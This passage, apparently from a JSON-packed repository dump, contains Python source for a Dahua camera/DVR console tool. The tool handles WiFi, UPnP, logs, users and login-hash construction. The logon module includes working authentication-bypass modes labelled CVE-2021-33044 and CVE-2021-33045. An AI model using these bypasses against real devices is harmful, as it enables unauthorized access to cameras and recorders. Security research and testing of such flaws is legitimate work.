\"Enable\": True if cmd[2] == 'start' else False,\n                        },\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\"CoreDump {}: {}\".format(\"Start\" if cmd[2] == 'start' else \"Stop\", dh_data.get('result')))\n                return True\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return False\n\n        elif cmd[1] == 'logs':\n\n            if not len(cmd) == 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            if not self.interim_remote_diagnose(\"diag nfs status\"):\n                log.failure(\"NFS must be mounted\")\n                return False\n\n            if cmd[2] == 'start' or cmd[2] == 'stop':\n\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.setConfig\",\n                    \"params\": {\n                        \"name\": \"InterimRDPrint\",\n                        \"DebugConfig\": {\n                            \"AlwaysEnable\": False,\n                            \"OnceEnable\": True if cmd[2] == 'start' else False,\n                            \"PrintLevel\": 6\n                        },\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\"Logs {}: {}\".format(\"Start\" if cmd[2] == 'start' else \"Stop\", dh_data.get('result')))\n                return True\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n        else:\n            log.failure('No such command: {}'.format(msg))\n            # log.info('{}'.format(help_all(msg=msg,usage=usage)))\n            return True\n\n    def net_app(self, msg, callback=False):\n\n        #\n        # Should need to have events subscribed\n        #\n        if callback:\n            print(json.loads(msg, indent=4))\n            return True\n\n        cmd = msg.split()\n        dh_data = None\n        nic = None\n        net_resource_stat = None\n\n        usage = {\n            \"info\": \"(Network Information)\",\n            \"wifi\": {\n                \"enable\": \"(enable adapter)\",\n                \"disable\": \"(disable adapter)\",\n                \"scan\": \"(scan for WiFi AP)\",\n                \"conn\": \"<SSID> <key>\",\n                \"disc\": \"(disconnect from WiFi AP)\",\n                \"reset\": \"(reset WiFi settings to default)\",\n            },\n            \"upnp\": {\n                \"status\": \"(show UPnP status)\",\n                \"enable\": \"[all] (enable UPnP)\",\n                \"disable\": \"[all] (disable UPnP)\"\n            }\n        }\n\n        if not len(cmd) >= 2 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        method_name = 'netApp'\n\n        if not self.instance_service(method_name, pull='object'):\n            self.instance_service(method_name, start=True)\n\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        query_args = {\n            \"method\": \"netApp.getNetInterfaces\",\n            \"params\": {\n            },\n            \"object\": object_id,\n        }\n        net_interface = self.send_call(query_args)\n\n        if cmd[1] == 'wifi':\n\n            if not len(cmd) >= 3 or cmd[1] == '-h':\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                self.instance_service(method_name, stop=True)\n                return True\n\n            wireless_nic = False\n\n            for nic in net_interface.get('params').get('netInterface'):\n                if nic.get('Type') == 'Wireless':\n                    wireless_nic = nic.get('Name')\n\n            if not wireless_nic:\n                log.failure(\"No WiFi adapter available\")\n                return False\n\n            auth_encryption = {\n                \"00\": \"Off\",\n                \"01\": \"WEP-OPEN\",\n                \"11\": \"WEP-SHARED\",\n                \"32\": \"WPA-PSK-TKIP\",\n                \"33\": \"WPA-PSK-TKIP+AES\",\n                \"34\": \"WPA-PSK-TKIP+AES\",\n                \"42\": \"WPA2-TKIP\",\n                \"52\": \"WPA2-PSK-TKIP\",\n                \"53\": \"WPA2-PSK-AES\",\n                \"54\": \"WPA2-PSK-TKIP+AES\",\n                \"72\": \"WPA/WPA2-PSK-TKIP\",\n                \"73\": \"WPA/WPA2-PSK-AES\",\n                \"74\": \"WPA/WPA2-PSK-TKIP+AES\",\n            }\n            link_mode = {\n                \"0\": \"Auto\",\n                \"1\": \"Ad-hoc\",\n                \"2\": \"Infrastructure\",\n            }\n\n            if len(cmd) == 3 and cmd[2] == 'scan':\n\n                query_args = {\n                    \"method\": \"netApp.scanWLanDevices\",\n                    \"params\": {\n                        \"Name\": wireless_nic,\n                        \"SSID\": \"\",\n                    },\n                    \"object\": object_id,\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data.get('params').get('wlanDevice'):\n                    log.failure(\"No WiFi available\")\n                    return False\n\n                wlan_device = dh_data.get('params').get('wlanDevice')\n                for wifi_ap in wlan_device:\n                    log.success(\n                        \"BSSID: {} RSSI: {} Strength: {} Quality: {} Connected: {} SSID: {}\\n\"\n                        \"MaxBitRate: {} Mbit NetWorkType: {} Connect Mode: {} Authorize Mode: {}\".format(\n                            color(wifi_ap.get('BSSID'), GREEN),\n                            color(wifi_ap.get('RSSIQuality'), GREEN),\n                            color(wifi_ap.get('Strength'), GREEN),\n                            color(wifi_ap.get('LinkQuality'), GREEN),\n                            color(bool(wifi_ap.get('ApConnected')), GREEN if wifi_ap.get('ApConnected') else RED),\n                            color(wifi_ap.get('SSID'), GREEN),\n                            color(str(int(wifi_ap.get('ApMaxBitRate')) / 1000000).split('.')[0], GREEN),\n\n                            color(wifi_ap.get('ApNetWorkType'), GREEN),\n                            color(link_mode.get(str(wifi_ap.get('link_mode'))), GREEN),\n                            color(auth_encryption.get(\n                                str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr')), \"UNKNOWN\"), GREEN)\n                        ))\n\n            elif len(cmd) == 5 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] in [\n                    'enable', 'disable', 'conn', 'disc', 'reset']:\n\n                if cmd[2] == 'conn' and len(cmd) == 5:\n\n                    query_args = {\n                        \"method\": \"netApp.scanWLanDevices\",\n                        \"params\": {\n                            \"Name\": wireless_nic,\n                            \"SSID\": cmd[3],\n                        },\n                        \"object\": object_id,\n                    }\n                    self.send_call(query_args, multicall=True)\n\n                query_args = {\n                    \"method\": \"configManager.getDefault\" if cmd[2] == 'reset' else \"configManager.getConfig\",\n                    \"params\": {\n                        \"name\": \"WLan\",\n                    },\n                }\n                dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n                if not dh_data:\n                    log.failure(\"(WLan) {}\".format(dh_data))\n                    return False\n\n                wlan = dh_data.get('WLan').get('params').get('table').get(wireless_nic)\n\n                if len(cmd) == 3 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] == 'disc':\n                    if wlan.get('SSID'):\n                        if nic.get('ConnStatus') == 'Connected' and cmd[2] == 'conn':\n                            log.failure(\"Already Connected\")\n                            return False\n                        elif nic.get('ConnStatus') == 'Disconn' and cmd[2] == 'disc':\n                            log.failure(\"Already Disconnected\")\n                            return False\n                        elif not wlan.get('Enable'):\n                            log.failure(\"WiFi disabled\")\n                            return False\n                        wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False\n                    else:\n                        log.failure(\"Wireless not configured\")\n                        return False\n                elif len(cmd) == 3 and cmd[2] == 'enable' or len(cmd) == 3 and cmd[2] == 'disable':\n                    if wlan.get('Enable') and cmd[2] == 'enable':\n                        log.failure(\"Already Enabled\")\n                        return False\n                    elif not wlan.get('Enable') and cmd[2] == 'disable':\n                        log.failure(\"Already Disabled\")\n                        return False\n                    wlan['Enable'] = True if cmd[2] == 'enable' else False\n\n                if cmd[2] == 'conn' and len(cmd) == 5:\n                    if not dh_data.get('netApp.scanWLanDevices').get('result'):\n                        log.failure('Wrong SSID and/or AP not accessible')\n                        return False\n\n                    wifi_ap = dh_data.get('netApp.scanWLanDevices').get('params').get('wlanDevice')[0]\n\n                    wlan['Encryption'] = auth_encryption.get(\n                        str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr'))) if cmd[2] == 'conn' else 'Off'\n                    wlan['link_mode'] = link_mode.get(str(wifi_ap.get('link_mode')))\n                    wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False\n                    wlan['KeyFlag'] = True if cmd[2] == 'conn' else False\n                    wlan['SSID'] = wifi_ap.get('SSID') if cmd[2] == 'conn' else ''\n                    wlan['Keys'][0] = cmd[4] if cmd[2] == 'conn' else 'abcd'\n\n                query_args = {\n                    \"method\": \"configManager.setConfig\",\n                    \"params\": {\n                        \"name\": \"WLan\",\n                        \"table\": dh_data.get('WLan').get('params').get('table'),\n                    },\n                }\n\n                dh_data = self.send_call(query_args)\n\n                if not dh_data or not dh_data.get('result'):\n                    log.failure('TimeOut for \"{}\" (wrong pwd?)'.format(wlan.get('SSID')))\n                    log.failure(\"dh_data: {}\".format(dh_data))\n                    return False\n\n                if cmd[2] == 'conn' and wlan.get('Enable')\\\n                        or cmd[2] == 'enable' and wlan.get('SSID') and wlan.get('ConnectEnable'):\n                    conn = log.progress(\"Status\")\n\n                    while True:\n                        query_args = {\n                            \"method\": \"netApp.getNetInterfaces\",\n                            \"params\": {\n                            },\n                            \"object\": object_id,\n                        }\n                        dh_data = self.send_call(query_args)\n\n                        for nic in dh_data.get('params').get('net_interface'):\n                            if not nic.get('Type') == 'Wireless':\n                                continue\n                            conn.status(nic.get('ConnStatus'))\n                            if nic.get('ConnStatus') == 'Connected':\n                                conn.success('Connected')\n                                return True\n                            time.sleep(1)\n                else:\n                    self.instance_service(method_name, stop=True)\n                    log.success(\"Success\")\n\n            # ConfigManager.getConfig(\"AccessPoint\")\n            # ConfigManager.getConfig(\"WLan\")\n\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n        elif cmd[1] == 'info':\n\n            for nic in net_interface.get('params').get('netInterface'):\n\n                net_appmethod = {\n                    \"netApp.getNetDataStat\",\n                    \"netApp.getNetResourceStat\",\n                    \"netApp.getCaps\",\n                }\n\n                for method in net_appmethod:\n                    query_args = {\n                        \"method\": method,\n                        \"params\": {\n                            \"Name\": nic.get('Name'),\n                        },\n                        \"object\": object_id,\n                    }\n                    self.send_call(query_args, multicall=True)\n\n                query_args = {\n                    \"method\": \"configManager.getConfig\",\n                    \"params\": {\n                        \"name\": \"Network\",\n                    },\n                }\n\n                dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n                # print(json.dumps(dh_data,indent=4))\n\n                net_data_stat = dh_data.get('netApp.getNetDataStat').get('params')\n                net_resource_stat = dh_data.get('netApp.getNetResourceStat').get('params')\n                nic_iface = dh_data.get('Network').get('params').get('table').get(nic.get('Name'))\n\n                link_info = \"Link support long PoE: {}, connection: {}, speed: {}\".format(\n                    nic.get('SupportLongPoE'),\n                    nic.get('Type') if nic.get('Type') == 'Wireless' else 'Wired',\n                    nic.get('Speed'),\n                )\n\n                log.success(\n                    \"\\033[92m[\\033[91m{}\\033[92m]\\033[0m {}{}\\ndhcp: {} dns: [{}] mtu: {}\\n\"\n                    \"inet {} netmask {} gateway {}\\nether {} txqueuelen {}\\n\"\n                    \"RX packets {} bytes {} ({}) util {} Kbps\\n\"\n                    \"RX errors {} dropped {} overruns {} frame {}\\n\"\n                    \"TX packets {} bytes {} ({}) util {} Kbps\\n\"\n                    \"TX errors {} dropped {} carrier {} collisions {}\\n{}\".format(\n                        nic.get('Name'),\n                        color(nic.get('ConnStatus'), GREEN if nic.get('ConnStatus') == 'Connected' else RED),\n                        color(\n                            \" (SSID: {})\".format(nic.get('ApSSID'))\n                            if nic.get('ConnStatus') == 'Connected' and nic.get('Type') == 'Wireless' else '',\n                            LBLUE),\n\n                        nic_iface.get('DhcpEnable'),\n                        ', '.join(str(x) for x in nic_iface.get('DnsServers')),\n                        nic_iface.get('MTU'),\n                        nic_iface.get('IPAddress'),\n                        nic_iface.get('SubnetMask'),\n                        nic_iface.get('DefaultGateway'),\n                        nic_iface.get('PhysicalAddress'),\n\n                        net_data_stat.get('Transmit').get('txqueuelen'),\n                        net_data_stat.get('Receive').get('packets'),\n                        net_data_stat.get('Receive').get('bytes'),\n                        size(net_data_stat.get('Receive').get('bytes')),\n                        net_data_stat.get('Receive').get('speed'),\n\n                        net_data_stat.get('Receive').get('errors'),\n                        net_data_stat.get('Receive').get('droped'),\n                        net_data_stat.get('Receive').get('overruns'),\n                        net_data_stat.get('Receive').get('frame'),\n\n                        net_data_stat.get('Transmit').get('packets'),\n                        net_data_stat.get('Transmit').get('bytes'),\n                        size(net_data_stat.get('Transmit').get('bytes')),\n                        net_data_stat.get('Transmit').get('speed'),\n\n                        net_data_stat.get('Transmit').get('errros'),  # consistent.. d0h!\n                        net_data_stat.get('Transmit').get('droped'),\n                        net_data_stat.get('Transmit').get('collisions'),\n                        net_data_stat.get('Transmit').get('txqueuelen'),\n                        link_info,\n                    ))\n\n            net_resource_info = \\\n                \"IP Channel In: {}, Net Capability: {}, Net Remain: {}\\n\" \\\n                \"Remote Preview: {}, Send Capability: {}, Send Remain {}\".format(\n                    net_resource_stat.get('IPChanneIn'),\n                    net_resource_stat.get('NetCapability'),\n                    net_resource_stat.get('NetRemain'),\n                    net_resource_stat.get('RemotePreview'),\n                    net_resource_stat.get('RemoteSendCapability'),\n                    net_resource_stat.get('RemoteSendRemain'),\n                )\n\n            log.success(\"\\033[92m[\\033[91mInfo\\033[92m]\\033[0m default nic: {}, hostname: {}, domain: {}\\n{}\".format(\n                dh_data.get('Network').get('params').get('table').get('DefaultInterface'),\n                dh_data.get('Network').get('params').get('table').get('Hostname'),\n                dh_data.get('Network').get('params').get('table').get('Domain'),\n                net_resource_info,\n            ))\n\n            self.instance_service(method_name, stop=True)\n\n        elif cmd[1] == 'upnp':\n\n            if not len(cmd) == 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                self.instance_service(method_name, stop=True)\n                return False\n\n            query_args = {\n                \"method\": \"netApp.getUPnPStatus\",\n                \"params\": None,\n                \"object\": object_id,\n            }\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"configManager.getConfig\",\n                \"params\": {\n                    \"name\": \"UPnP\",\n                },\n            }\n            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n\n            if not dh_data.get('netApp.getUPnPStatus').get('result') or not dh_data.get('UPnP').get('result'):\n                log.failure('UPnP service not supported')\n                return False\n\n            if len(cmd) == 3 and cmd[2] == 'status':\n\n                upnp_status = dh_data.get('netApp.getUPnPStatus').get('params')\n                upnp_table = dh_data.get('UPnP').get('params').get('table')\n                upnp_map = ''\n\n                for MapTable in range(0, len(upnp_table.get('MapTable'))):\n                    upnp_map += \"Enable: {} Internal Port: {:<6} External Port: {:<6} \" \\\n                                \"Protocol: {}:{} ServiceName: {:<4} Status: {}\\n\".format(\n                                    upnp_table.get('MapTable')[MapTable].get('Enable'),\n                                    upnp_table.get('MapTable')[MapTable].get('InnerPort'),\n                                    upnp_table.get('MapTable')[MapTable].get('OuterPort'),\n                                    upnp_table.get('MapTable')[MapTable].get('Protocol'),\n                                    upnp_table.get('MapTable')[MapTable].get('ServiceType'),\n                                    upnp_table.get('MapTable')[MapTable].get('ServiceName'),\n                                    color(\n                                        upnp_status.get('PortMapStatus')[MapTable],\n                                        GREEN if upnp_status.get('PortMapStatus')[MapTable] == 'Failed' else RED\n                                    ))\n\n                log.success(\n                    \"\\033[92m[\\033[91mUPnP\\033[92m]\\033[0m\\n\"\n                    \"Enable: {}, Mode: {}, Device Discover: {}\\n\"\n                    \"Status: {}, Working: {}, Internal IP: {}, external IP: {}\\n\"\n                    \"\\033[92m[\\033[91mMaps\\033[92m]\\033[0m\\n{}\".format(\n                        color(upnp_table.get('Enable'), RED if upnp_table.get('Enable') else GREEN),\n                        upnp_table.get('Mode'),\n                        upnp_table.get('StartDeviceDiscover'),\n                        color(upnp_status.get('Status'), RED if upnp_status.get('Working') else GREEN),\n                        color(upnp_status.get('Working'), RED if upnp_status.get('Working') else GREEN),\n                        upnp_status.get('InnerAddress'),\n                        upnp_status.get('OuterAddress'),\n                        upnp_map,\n                    ))\n\n            elif len(cmd) >= 3 and cmd[2] == 'disable' or cmd[2] == 'enable':\n\n                query_args = {\n                    \"method\": \"configManager.getConfig\",\n                    \"params\": {\n                        \"name\": \"UPnP\",\n                    },\n                }\n                dh_data = self.send_call(query_args)\n\n                upnp_config = dh_data.get('params').get('table')\n\n                if not upnp_config.get('Enable') and cmd[2] == 'disable'\\\n                        or upnp_config.get('Enable') and cmd[2] == 'enable':\n                    log.failure(\"UPnP already {}\".format('disabled' if cmd[2] == 'disable' else 'enabled'))\n                    return False\n\n                upnp_config['Enable'] = False if cmd[2] == 'disable' else True\n\n                if len(cmd) == 4 and cmd[3] == 'all':\n                    for dh_map in range(0, len(upnp_config.get('MapTable'))):\n                        upnp_config['MapTable'][dh_map]['Enable'] = False if cmd[2] == 'disable' else True\n\n                query_args = {\n                    \"method\": \"configManager.setConfig\",\n                    \"params\": {\n                        \"name\": \"UPnP\",\n                        \"table\": upnp_config,\n                    },\n                }\n                dh_data = self.send_call(query_args)\n\n                if dh_data.get('result'):\n                    log.success(\"UPnP {}\".format('disabled' if cmd[2] == 'disable' else 'enabled'))\n                else:\n                    log.failure(\"UPnP NOT {}\".format('disabled' if cmd[2] == 'disable' else 'enabled'))\n\n            else:\n                log.failure(\"{} {} {}\".format(cmd[0], cmd[1], usage.get(cmd[1], '(No help defined)')))\n                return False\n\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n\n        self.instance_service(method_name, stop=True)\n\n        return\n\n    def dlog(self, msg):\n\n        cmd = msg.split()\n\n        method_name = 'log'\n\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        dlog_count = 20\n\n        if len(cmd) == 2:\n            try:\n                dlog_count = int(cmd[1])\n            except ValueError:\n                log.failure('({}) not valid number'.format(cmd[1]))\n                return False\n\n        query_args = {\n            \"method\": \"global.getCurrentTime\",\n            \"params\": None,\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data.get('result'):\n            log.failure('{} Failed'.format(query_args.get('method')))\n            return False\n\n        query_args = {\n            \"method\": \"log.startFind\",\n            \"params\": {\n                \"condition\": {\n                    \"StartTime\": \"1970-01-01 00:00:00\",  # Lets start from the beginning ,)\n                    \"EndTime\": dh_data.get('params').get('time'),\n                    \"Translate\": True,\n                    \"Order\": \"Descent\",  # ok\n                    \"Types\": \"\",\n                },\n            },\n            \"object\": object_id,\n        }\n        dh_data = self.send_call(query_args)\n        if not dh_data.get('result'):\n            log.failure('{} Failed'.format(query_args.get('method')))\n            return False\n\n        dlog_token = dh_data.get('params').get('token')\n\n        query_args = {\n            \"method\": \"log.getCount\",\n            \"params\": {\n                \"token\": dlog_token,\n            },\n            \"object\": object_id,\n        }\n        dh_data = self.send_call(query_args)\n        if not dh_data or not dh_data.get('result'):\n            log.failure('{} Failed'.format(query_args.get('method')))\n            return False\n\n        query_args = {\n            \"method\": \"log.doSeekFind\",\n            \"params\": {\n                \"token\": dlog_token,\n                \"offset\": 0,\n                \"count\": dlog_count,\n            },\n            \"object\": object_id,\n        }\n        dh_data = self.send_call(query_args)\n        if not dh_data.get('result'):\n            log.failure('{} Failed'.format(query_args.get('method')))\n            return False\n\n        dlogs = dh_data.get('params').get('items')\n        found = dh_data.get('params').get('found')\n\n        log.info('Found: {}'.format(found))\n\n        for dlog in dlogs:\n            print('{}Detail: {}\\nUser: {}, Device: {}, Type: {}, Level: {}'.format(\n                help_msg(dlog.get('Time')),\n                dlog.get('Detail'),\n                dlog.get('User'),\n                dlog.get('Device'),\n                dlog.get('Type'),\n                dlog.get('Level'),\n            ))\n\n        query_args = {\n            \"method\": \"log.stopFind\",\n            \"params\": {\n                \"token\": dlog_token,\n            },\n            \"object\": object_id,\n        }\n        dh_data = self.send_call(query_args)\n        if not dh_data.get('result'):\n            log.failure('{} Failed'.format(query_args.get('method')))\n\n        self.instance_service(method_name, stop=True)\n\n        return\n\n    def dh_test(self, msg):\n        return\n\n    def user_manager(self, msg):\n        \"\"\"User management: only list users and show capabilities\"\"\"\n        cmd = msg.split()\n\n        usage = {\n            \"list\": \"(list all users)\",\n            \"caps\": \"(get user management capabilities)\",\n        }\n\n        if len(cmd) == 1 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        if cmd[1] == \"list\":\n            query_args = {\n                \"method\": \"userManager.getUserInfoAll\",\n                \"params\": {}\n            }\n        elif cmd[1] == \"caps\":\n            query_args = {\n                \"method\": \"userManager.getCaps\",\n                \"params\": {}\n            }\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return False\n\n        dh_data = self.send_call(query_args, errorcodes=True)\n        if not dh_data:\n            log.failure(\"Failed to execute user management command\")\n            return False\n\n        if dh_data.get('result'):\n            print(json.dumps(dh_data, indent=4))\n            return True\n        else:\n            log.failure(f\"Command '{cmd[1]}' failed: {dh_data.get('error', 'Unknown error')}\")\n            return False\n"
  },
  {
    "path": "dahua_logon_modes.py",
    "content": "from utils import *\nfrom datetime import datetime\n\n\"\"\" For Dahua DES/3DES \"\"\"\nENCRYPT = 0x00\nDECRYPT = 0x01\n\n\ndef dahua_logon(logon=None, query_args=None, username=None, password=None, saved_host=None, init=False):\n    \"\"\"\n    Dahua logon types\n\n    args: logon: '3des',\n    args: username -or- password, des_mode=ENCRYPT (default) | DECRYPT\n\n    args: logon: 'dvrip',\n    args: username, password, dh_random (option: saved_host)\n\n    required: init=True, username (return required arguments for first logon with DHIP/HTTP)\n    args: logon:\n\n    \"\"\"\n\n    \"\"\" DVRIP/DES start \"\"\"\n    if logon == '3des':\n        params = {\n            \"username\": dahua_gen0_hash(username, ENCRYPT),\n            \"password\": dahua_gen0_hash(password, ENCRYPT)\n        }\n        return params\n\n    elif logon == 'dvrip':\n        dh_realm = query_args.get('realm')\n        dh_random = query_args.get('random')\n\n        dvrip_hash = username + '&&'\n        dvrip_hash += dahua_gen2_md5_hash(\n            dh_random=dh_random, dh_realm=dh_realm, username=username, password=password, saved_host=saved_host)\n        # OldDigestMD5 ??\n        dvrip_hash += dahua_dvrip_md5_hash(\n            dh_random, username, password, saved_host)\n        params = {\n            \"hash\": dvrip_hash\n        }\n        return params\n    \"\"\" DVRIP/DES end \"\"\"\n\n    \"\"\" DHIP/http/https: First login start \"\"\"\n    params = {\n        \"userName\": username,\n        \"password\": \"\",\n        \"clientType\": \"Web3.0\",\n        \"loginType\": \"Direct\",\n    }\n\n    if logon == 'wsse':\n        params.update({\"clientType\": \"WSSE\"})\n\n    elif logon == 'onvif:plain' or logon == 'onvif:digest' or logon == 'onvif:onvif':\n        params.update({\"clientType\": \"Onvif\"})\n        params.update({\"loginType\": \"Onvif\"})\n\n    if init:\n        \"\"\" Retrieve necessary options for Second login \"\"\"\n        return params\n    \"\"\" DHIP/http/https: First login end \"\"\"\n\n    \"\"\" DHIP/http/https: Second login start \"\"\"\n    password_type = {\n        \"Plain\": \"Plain\",\n        \"Basic\": \"Basic\",\n        \"OldDigest\": \"OldDigest\",\n        \"Default\": \"Default\",\n        \"Onvif\": \"Onvif\",\n        \"2DCode\": \"2DCode\"  # params.code\n    }\n\n    authority_type = {\n        \"Plain\": \"Plain\",\n        \"Basic\": \"Basic\",\n        \"OldDigest\": \"OldDigest\",\n        \"Default\": \"Default\",\n        \"Onvif\": \"Onvif\",\n        \"2DCode\": \"2DCode\",  # params.code\n        \"Ushield\": \"Ushield\"\n    }\n\n    query_args = query_args.get('params')\n\n    dh_random = query_args.get('random')\n    dh_realm = query_args.get('realm')\n    encryption = query_args.get('encryption')\n    \"\"\" authorization: Not known usage, unique for each device but not random \"\"\"\n    # authorization = query_args.get('authorization')\n    # mac_address = query_args.get('mac')\n\n    \"\"\" DHIP/http/https: Second login, set default params \"\"\"\n    params = {\n        # \"random\": dh_random,  # With 'clientType' = 'Local'\n        # \"realm\": dh_realm,  # With 'clientType' = 'Local'\n        \"userName\": username,\n        \"ipAddr\": \"127.0.0.1\",\n        \"loginType\": \"Direct\",\n        \"clientType\": \"Console\",\n        \"authorityType\": authority_type.get(encryption),  # Default, OldDigest\n        \"passwordType\": password_type.get(encryption),  # Default, Plain\n\n    }\n    \"\"\" No idea what it is used for \"\"\"\n    # params.update({\"stochasticId\": 31337})\n\n    \"\"\" DHIP/http/https: Second login, update default params with correct details \"\"\"\n    if logon == 'plain' or encryption == 'Plain':\n        params.update({\n            \"passwordType\": \"Plain\",\n            \"password\": password\n        })\n\n    elif logon == 'basic' or encryption == 'Basic':\n        params.update({\n            # \"passwordType\": \"Basic\",\n            \"password\": b64e(username.encode('latin-1') + b':' + password.encode('latin-1'))\n        })\n\n    elif logon == 'old_digest' or encryption == 'OldDigest':\n        params.update({\n            \"passwordType\": \"OldDigest\",\n            \"password\": dahua_gen1_hash(password)\n        })\n\n    elif logon == 'default' or encryption == 'Default':\n        dh_hash = dahua_gen2_md5_hash(\n            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,\n            saved_host=saved_host)\n\n        params.update({\n            \"passwordType\": \"Default\",\n            \"password\": dh_hash\n        })\n\n    \"\"\" If we have chosen one of these logon, return \"\"\"\n    if logon in ['plain', 'basic', 'old_digest', 'old_digest_md5', 'default']:\n        return params\n\n    \"\"\" Otherwise check and update for other logon types \"\"\"\n    # Authentication bypass start\n    if logon == \"netkeyboard\":\n        \"\"\" 'CVE-2021-33044, Authentication bypass,\n        when setting param: 'clientType\": \"NetKeyboard' \"\"\"\n        params.update({\n            \"clientType\": \"NetKeyboard\"\n        })\n        return params\n\n    elif logon == \"loopback\":\n        \"\"\" loginType=5, @127.0.0.1 \"\"\"\n        \"\"\"\n        'CVE-2021-33045, Authentication bypass,\n        when setting params: 'ipAddr':'127.0.0.1', 'loginType': 'Loopback' and 'clientType': 'Local'\n        Note: Bypass fixed with newer firmware from beginning/mid 2020\n        \n        Legit usage: SNMP daemon traffic on 127.0.0.1 using port 5000 with l/p admin/admin\n        \"\"\"\n\n        dh_hash = dahua_gen2_md5_hash(\n            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,\n            saved_host=saved_host)\n\n        params.update({\n            \"loginType\": \"Loopback\",\n            \"clientType\": \"Local\",\n            \"passwordType\": \"Default\",      # Plain working too\n            \"password\": dh_hash     # Clear text password working too with 'passwordType': 'Plain'\n        })\n\n        return params\n    # Authentication bypass end\n\n    elif logon == \"gui\":\n        \"\"\" TEST \"\"\"\n        # username = 'default'\n        # password = 'tluafed'\n\n        dh_hash = dahua_gen2_md5_hash(\n            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,\n            saved_host=saved_host)\n\n        params.update({\n            \"loginType\": \"GUI\",\n            \"clientType\": \"Dahua3.0-Web3.0-NOTIE\",\n            \"passwordType\": \"Direct\",\n            \"ipAddr\": \"127.0.0.1\",\n            \"password\": dh_hash\n        })\n\n        return params\n\n    elif logon == 'onvif:plain':\n        params.update({\n            \"loginType\": \"Onvif\",\n            \"clientType\": \"Onvif\",\n            \"authorityType\": \"Onvif\",\n            \"passwordType\": \"Plain\",\n            \"password\": password,\n        })\n        return params\n\n    elif logon == 'onvif:onvif':\n\n        params.update({\n            \"loginType\": \"Onvif\",\n            \"clientType\": \"Onvif\",\n            \"authorityType\": \"Onvif\",\n            \"passwordType\": \"Onvif\",\n        })\n\n        dh_params = dahua_onvif_sha1_hash(dh_random=dh_random, password=password, saved_host=saved_host)\n\n        params.update(dh_params)\n        return params\n\n    elif logon == 'onvif:digest':\n        \"\"\" Always use UTC for 'created' \"\"\"\n        created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'\n        \"\"\" Newer firmware has another REALM, can be retrieved from HTTP OPTIONS/RTSP call, see dahua_dhip_login() \"\"\"\n        dh_hash = dahua_digest_md5_hash(\n            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,\n            saved_host=saved_host, created=created)\n\n        params.update({\n            \"loginType\": \"Onvif\",\n            \"clientType\": \"Onvif\",\n            \"authorityType\": \"Onvif\",\n            \"passwordType\": \"HttpDigest\",\n            \"authorityInfo\": created,\n            \"password\": dh_hash\n        })\n        return params\n\n    elif logon == 'rtsp':\n        \"\"\" Always use UTC for created \"\"\"\n        created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'\n        dh_hash = dahua_digest_md5_hash(\n            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,\n            saved_host=saved_host, created=created)\n\n        params.update({\n            \"clientType\": \"RtspClient\",\n            \"authorityType\": \"HttpDigest\",\n            # Not needed in new FW, but the passwordType is there w/ \"authorityType\": \"OldDigest\"\n            \"passwordType\": \"HttpDigest\",\n            \"password\": dh_hash,\n            \"authorityInfo\": created\n        })\n        return params\n\n    elif logon == 'wsse':\n        \"\"\"\n        Cloud Upgrade WSSE logon\n        Note:\n            Can _only_ be used once per boot\n            Correct time and time zone on device very important so it will match 'created'\n        \"\"\"\n\n        \"\"\" Always use UTC for created \"\"\"\n        created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'\n        dh_hash = dahua_gen2_md5_hash(\n            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,\n            saved_host=saved_host, return_hash=True)\n\n        hash_digest = hashlib.sha1()\n        hash_digest.update(created.encode('ascii'))\n        hash_digest.update(dh_hash.encode('ascii'))\n\n        params.update({\n            \"clientType\": \"WSSE\",\n            \"authorityType\": \"OTP\",\n            \"passwordType\": \"WSSE\",\n            \"password\": b64e(hash_digest.digest()),\n            \"authorityInfo\": created\n        })\n        return params\n\n    elif logon == 'ldap':\n        \"\"\" loginType=3, Unknown login procedure \"\"\"\n        params.update({\n            \"loginType\": \"LDAP\"\n        })\n        return params\n\n    elif logon == 'ad':\n        \"\"\" loginType=4, Unknown login procedure \"\"\"\n        params.update({\n            \"loginType\": \"ActiveDirectory\"\n        })\n        return params\n\n    elif logon == 'cms':\n        \"\"\" loginType=1, Unknown login procedure \"\"\"\n        params.update({\n            \"loginType\": \"CMS\",\n        })\n        return params\n\n    elif logon == 'ushield':\n        \"\"\" Unknown login procedure \"\"\"\n        params.update({\n            \"authorityType\": \"Ushield\",\n      